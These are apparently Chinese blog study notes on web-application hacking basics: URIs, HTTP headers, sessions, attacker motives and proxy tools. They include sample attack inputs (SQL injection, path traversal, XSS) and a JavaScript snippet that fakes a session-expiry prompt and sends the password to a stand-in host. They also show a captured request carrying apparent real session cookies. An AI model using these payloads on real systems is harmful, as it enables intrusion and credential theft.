zoukankan      html  css  js  c++  java
  • web安全-入侵基础

    注:需先了解HTTP请求头的含义. 在:HTTP 协议详解 中

    WEB应用:通过超文本传输协议HTTP访问的应用.

    一、Web应用入侵

    3种入侵方法:

      a.通过图形化Web界面直接操纵应用.

      b.篡改统一资源标识符(URI).

      c.篡改没有包含在URI中的HTTP元素.

    二、GUI Web入侵

      即在web浏览页面中直接操作,如在用户名框中直接输入 :'OR 1=1--

    三、URI 入侵

      RFC3986描述了URI(及其子集,包括更常用的术语统一资源定位符(URL))的结构和语法. 其中URI 如下:

        scheme://authority/path?query

      URI描述用于访问服务器(authority)上的一个资源(path)或者应用(query)的协议(scheme).

      注:标准HTTPS(无客户端验证)除了使客户端和服务器之间的通信更难以窃听和干扰以外,对web应用的整体安全性没有任何作用 (其会话数据受SSL或TLS协议保护.)

      服务器:一台或者多台运行HTTP软件的计算机,(通常由其DNS名如www.somesite.com指定的计算机),web 应用协议基本上都是HTTP协议.

      path: 描述了应用文件所在文件夹或者目录的层次结构.
      查询:  包含了需要传递给服务器上保存的应用的可执行文件的参数.如:*.asp,*.aspx,*.php等等

      "?" 右变得部分称为查询串.

      eg: http://server/file.html

        http://server/folder/application?parameter1=value1&parameter2=value2

        http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

      URI入侵的简单方式:

        https://server/folder/../../../../cmd.exe

        http://server/folder/application?parameter1=aaaaa...256 a's...]

        http://server/foldrer/application?parameter1=<script>'alert'</script>

    四、请求头入侵,方法,头和主体

      请求头一般是不可见的,需借助工具才可查看.

      大部分WEB应用只是用两种方法:

         GET和POST,二者都向服务器发送信息,但两者有一个重要的不同点,GET将所有的数据保留在URI(也就是地址栏)中,而POST的请求的主体(body)中放置数据.(在URI中不可见)

        POST请求并没有比GET请求方式更好的保护数据,但是GET在发送数据时更可能在各种地方暴露数据,如客户端缓存web服务器日志

      HTTP头中相关的安全事例:

         Authorization:是否使用某种类型的验证.

        Cache-control:是否将请求的一个副本缓存在中间代理服务器上.

        Referer:列出浏览器到达当前链接的源URI,有时用于早期的容易攻破的验证方案.

        cookies:常用于存储自定义应用验证/会话令牌.

      eg:

    GET /cgi-bin/test.cgi HTTP/1.1
    Host: analy.qq.com
    Connection: keep-alive
    Accept: image/webp,image/*,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
    Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284; 

    五、资源,入侵就是为了获取资源

      web应用一般分为三层:

        表示层:一般是超文本表示语言(HTML)生成的静态页面,或者由动态脚本生成。

        逻辑层:负责前台业务和后台数据的交互.

        数据层:诱人的数据,如客户数据,信用卡号码等(这才是最关心的)

      文件类型:

        *.html : as static HTML file

        *.php : a HyperText Preprocessor, or PHP, script

        *.asp : a Microsoft Active Server Pages, or ASP script

        *.aspx : a Microsoft ASP.NET script

      动态脚本可以作为逻辑层,接受输入参数和值.

        http://server/script.php?input1=foo&fnput2=bar (&为两个变量的链接符)

        http://server/script.aspx?date=friday&time=1754

      以下可能是独立的可执行文件而不是脚本,

        http://server/app?input1=foo&input2=bar

    六、验证、会话和授权

      HTTP是无状态的,协议本身不维护任何会话状态。

      但是Web开发人员已经试图解决基本协议的这个问题,方法就是采用自己的验证、会话管理和授权功能,来实施某种形式的验证,然后将授权/会话信息隐藏在cookie中来实现.

      

    七、Web客户端与HTML

      根据对Web应用的定义,Web应用客户端是能够理解HTTP程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其他协议)并用超文本标签语言(HTML)以及其他标记语言表现

      Web浏览器看上去似乎很简单。由于HTML等语言的扩展性,看似静态的Web内容中可以嵌入大量的功能.例:

    <html>
    <SCRIPT Language="Javascript">
    var password = prompt('Your seesion has expired. Please enter your password to continue.',' ');
    location.href="https://10.1.1.1/pass.cgi?password="+password;
    </SCRIPT>
    </html>
    

      除脚本以外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(css)文件都可以在客户端进行恶意的活动,使用的仅仅是简单的ASCII文本。

      不断增加的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,一场风暴正在兴起.(WEB安全!!!)

    八、其他协议

      a.Web分布式创作和版权管理(Web-based Distributed Authoring and Versioning,WebDAV)

        WebDAV在RFC4918中定义,描述了用于远程Web服务器上的多种内容创作和管理机制.  

      b.基于XML的web服务中,简单对象访问协议(SOAP)是基于XML的用于web服务之间消息和RPC风格通信的协议.

      c.以及JavaScript和XML(AJAX)和简易信息聚合(Relly Simple Syndication,RSS),RSS是一种基于XML的轻量级机制,用于在网站和客户端之间动态地反馈变化的“新闻提要”(RSS订阅.)

      d.同源策略(Same-origin Policy),最初期是单个客户和单个网站之间的一种简单关系。现在更复杂.

    九、为什么攻击Web应用

      1.普遍存在:今天Web应用无处不在.

      2.简单的技术:大部分基于文本,操作应用输入简单,和攻击复杂的操作系统简直不在一个量级.

      3.匿名性:有很多免责区域(随着发展越来越少),并且大量的HTTP/S代理,使得请求难以追踪.

      4.绕开防火墙:大部分典型的防火墙策略允许入站的HTTP/S.

      5.定制代码:由于Web技术易于理解,门槛低,大部分Web应用由缺乏又经验的开发人员制作.

      6.不成熟的安全性:HTTP甚至没有实施分离单独的会话,许多开发人员在自己编写HTTP的基本验证和授权信息并且会出错.

      7.不断地变化:许多人不断地接触WEB应用,开发人员,系统管理员,内容管理者,普通用户,很少有人受过安全方面的培训,难保会执行相关的安全策略.

      8.钱.

    十、谁、何时、何处

      谁,离校的无聊少年,有组织的犯罪。

      何时何处?全天候,所有地方(甚至内部网络)

    十一、工具

      Web浏览器、浏览器扩展、HTTP代理和命令行工具.

      1.Web浏览器:篡改浏览器地址栏中的URI文本。

      2.浏览器扩展:IE扩展(TamperIE、IEWatch、IE Headers)。Firefox扩展(LiveHTTPHeaders、TamperData、Modify Headers、)

      3.HTTP代理:HTTP代理能够分析和篡改非浏览器的HTTP客户端,这是浏览器扩展所做不到的。(IEToys)

        Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于所有流行Web个是【Base64、MD5等】的编码器/解码器工具,以及Web服务描述语言(WSDL)和SOAP解析程序等.)

        ProxMon: 主要目的是自动化完成Web应用渗透测试中乏味的部分,减少工作量.

        Fiddler : 自动配置IE使用它的本地代理,Localhost:8888。其他浏览器需手动配置.

        Burp Intruder : 基于JAVA的HTTP代理。

        Google Ratproxy :是为有经验的安全专家设计的,需要对Web应用安全问题有着充分的理解,能有效地使用它并且理解其输出.

      4.命令行工具:

        Ratproxy: 不建议通过Ratproxy使用Web爬虫或者相似工具,只限于手工测试.

        cURL : 免费的多平台命令行工具,用于操纵HTTP和HTTPS.

        netcat : “瑞士军刀”,将网络通信的原始输入输出转储到命令行.

      5.较老的工具:

        Achilles、#StakeWebProxy、Form Scallpel、WASAT(web验证分析工具)以及WebSleuth

        一般来说,越现代的工具越好.

    十二、参考与延伸阅读

    RFC索引搜索引擎 http://www.rfc-editor.org/rfcsearch.html
    HTTP1.0 RFC1945
    HTTP1.1 RFC2616
    HTTP“Origin”首部 https://wiki.mozilla.org/Security/Origin
    HTML http://en.wikipedia/wiki/HTML
    HTML5 http://en.wikipedia/wiki/HTML5
    统一资源标识符(URI)

    http://tools.ietf.org/html/rfc3986

    http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

    HTTPS http://en.wikipedia.org/wiki/HTTPS
    SSL(安全套接字层) http://wp.netscape.com/eng/ssl3
    TLS(传输层安全) http://www.ietf.org/rfc/rfc2246.txt
    可扩展性标记语言(XML) http://www.w3.org/XML/
    WSDL http://www.w3.org/TR/wsdl
    UDDI http://www.uddi.org
    SOAP http://www.w3.org/TR/SOAP
    WebGL http://en.wikipedia.org/wiki/WebGL
    Google Native Client(Naci) http://en.wikipedia.org/wiki/Google_Native_Client

    OWASP Top10  http://www.owasp.org/documentation/topten.html

  • 相关阅读:
    lintcode 中等题:Evaluate Reverse Polish notation逆波兰表达式求值
    lintcode 中等题:unique Binary Search Tree 不同的二叉查找树
    lintcode 中等题:Submatrix sum is 0 和为零的子矩阵
    lintcode:递归打印数字
    lintcode :Segmemt Tree Build II
    lintcode 中等题:find the missing number 寻找缺失的数
    lintcode 中等题: Implement Trie
    lintcode 中等题:Letter Combinations of a Phone Number 电话号码的字母组合
    lintcode 中等题:Palindrome Linked List 回文链表
    [LeetCode] Merge Sorted Array
  • 原文地址:https://www.cnblogs.com/xccnblogs/p/4832619.html
Copyright © 2011-2022 走看看